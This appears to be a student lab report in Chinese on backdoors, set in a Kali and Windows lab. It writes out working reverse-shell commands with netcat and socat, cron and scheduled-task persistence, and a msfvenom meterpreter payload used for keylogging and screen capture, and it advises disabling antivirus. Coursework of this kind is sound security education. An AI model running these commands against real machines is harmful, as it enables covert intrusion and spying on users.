zoukankan      html  css  js  c++  java
  • 20145218张晓涵 后门原理与实践

    20145218张晓涵 后门原理与实践

    实验原理

    1. 什么是后门?

    • 后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。 是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
    • 后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。

    2. 有哪些常用后门工具?

    • netcat:nc 主机名/IP 端口号/服务名,只要甲主机打开了端口(任何对外服务的端口),乙主机就可以使用nc命令连接这个端口。两台主机可以进行数据交换。
    • Meterpreter:用payload在被攻击者机上开一个端口A,把命令行终端绑定到A上,攻击者访问A,就与被攻击者机器交互。

    实验过程记录

    在进行实验之前,需要:

    • 开启kali虚拟机,可以使用windows本机或者一个windows虚拟机;
    • 联网,确保以上两个系统处于同一网段,让两台机器ping通。windows:172.30.7.84,kali:192.168.80.130
    • 在windows系统中,下载并解压ncat与socat;

    1.使用netcat获取主机操作Shell

    (1)win获取linux的shell

    • 在windows系统中打开命令行,cd进入ncat.exe所在的文件夹目录下,输入指令ncat.exe -l -p 5218,开启netcat监听;

    • 在kali中,输入指令nc win的IP 5218 -e /bin/sh,开启链接;

    • windows中可以“坐等”连接,然后获取到kali的shell,比如输入了ls,就可以显示kali虚拟机中home目录下的文件信息。因为是kali的shell,所以ls命令也是可以执行的。

    (2)Kali获取Win的shell

    • Kali开启netcat监听,输入命令nc -l -p 5218

    • windows链接(注意:仍然要在有ncat.exe的目录下),ncat.exe -e cmd.exe linux的IP 5218

    • kali中获取windows的shell,输入ipconfig,可以查看windows的ip地址信息,但是出现了很多乱码。

    2.使用socat获取主机操作Shell

    (1)Kali获取Wi的shell

    • Windows中开启监听程序,socat tcp-listen:5218 exec:cmd,pty,stderr //把cmd綁定到端口5218

    • Kali连接Win中开启的监听程序,获取shell,socat - tcp:win的ip:5218 //连接到服务器的5218端口,即可获得一个cmd shell

    • 就可以当做是在windows的cmd中,输入ipconfig进行测试

    (2)Win获取Kali的shell。

    • 原理与步骤同上,不再详细描述。

    3.计划任务自启动

    (1)cron启动

    • kali中使用crontab -e进入了编辑模式,在最后一行参照之前的格式加入一条自动执行netcat的指令,即:05 * * * * * /bin/netcat 172.30.7.84 5218 -e /bin/sh,05即每小时第五分钟启动。
    • 到了第五分钟的时候我们的win程序就可以控制Linux程序了。

    (2)使用任务计划程序开启Windows定时连接

    • 打开计划任务(控制面板→管理工具→任务计划程序→创建任务),填写任务名

    • 在“创建任务”—“操作”选项卡中设置任务操作(点击左下方“新建…”选项)

    • 选择“浏览…”,找到socat.exe所在目录,点击选中socat.exe;

    • 在下方的“添加参数”中,添加如下参数:tcp-listen:5218 exec:cmd,pty,stderr 然后点击确定

    • 在“触发器”选项卡中选择“新建…”,可以设置任务频率以及开始时间。

    • 静静等待设定的时间,自动弹出窗口

    4.使用MSF meterpreter生成可执行文件获取主机Shell

    (1)后门程序生成

    • 输入以下命令生成后门程序,msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f exe >20145218.exe

    • 传输到windows系统中,传输命令如下图所示,如果被查杀,找回文件即可(可以用U盘拷贝,但是要注意关闭防火墙及杀毒软件,否则文件拷贝到电脑之后会被防火墙直接删除或被查杀)

    (2)打开msf进行设置,输入msfconsole进入msf,设置命令如下图所示

    注意:LHOST为kali系统的IP,目标端口为443,然后双击刚才生成的.exe文件,在Kali的msf中输入exploit,就完全获取了windows的shell

    5.meterpreter信息搜集

    • 获取基本系统信息,sysinfo

    • 抓取windows系统中的当前屏幕;

    • 键盘记录内容:keyscan_start:开始捕捉键盘记录,keyscan_dump停止键盘记录的捕捉并显示出来键盘的记录

    • meterpreter安装为服务,run metsvc

    • 控制摄像头,这里因为没有给虚拟机添加相应的硬件,所以没能打开摄像头

    基础问题思考与回答

    1.例举你能想到的一个后门进入到你系统中的可能方式?

    • 后门程序可能伪装成正常程序,在我们在网上下载什么东西时或随着优盘插入时进入电脑中,只要我们点击启动后,后门程序可以自动运行。
    • 操作系统本身设计时就留有后门。

    2.后门如何启动起来(win及linux)?

    • Windows中:后门程序作为.exe文件或者快捷方式,被用户点击后启动,或者安装为服务后,进行自启动;
    • Linux中:后门程序被设置在cron等服务中实现自启动。

    3.Meterpreter有哪些给你印象深刻的功能?

    • 竟然可以控制摄像头!在关闭防火墙之后,kali中随便敲一条指令就可以实现在windows中摄像头抓取等功能,想想十分后怕,幸亏早就把摄像头用创可贴粘起来了。
    • 获取当前目录下的进程也很容易有危险,尤其是对于具有敏感信息的电脑。
    • 键盘记录内容,可以清楚地知道我们输入了什么内容,通过梳理分析就可能知道我们各种各样的密码之类的秘密信息。

    4.如何发现自己有系统有没有被安装后门?

    • 查看系统服务项中有没有来源不明的程序,有没有明明奇怪的程序等;
    • 利用杀毒软件或者系统自带的防火墙定期进行病毒查杀,比如这次的后门程序,其实是可以被防火墙和杀毒软件识别并清除的。
  • 相关阅读:
    在Android Studio中用Gradle添加Robolectric
    Windows环境下利用github快速配置git环境
    上传Android代码到Jcenter(解决了字符映射的问题)
    RecyclerView和ScrollView嵌套使用
    Android Java类编写规范+优化建议
    3.0之后在LinearLayout里增加分割线
    【转】Android Studio中通过快捷键来提取提取方法
    为什么Android应该根据屏幕分辨率来加载不同的图片文件
    JSON/XML格式化插件比较
    利用在线工具根据JSon数据自动生成对应的Java实体类
  • 原文地址:https://www.cnblogs.com/senlinmilelu/p/6556169.html
Copyright © 2011-2022 走看看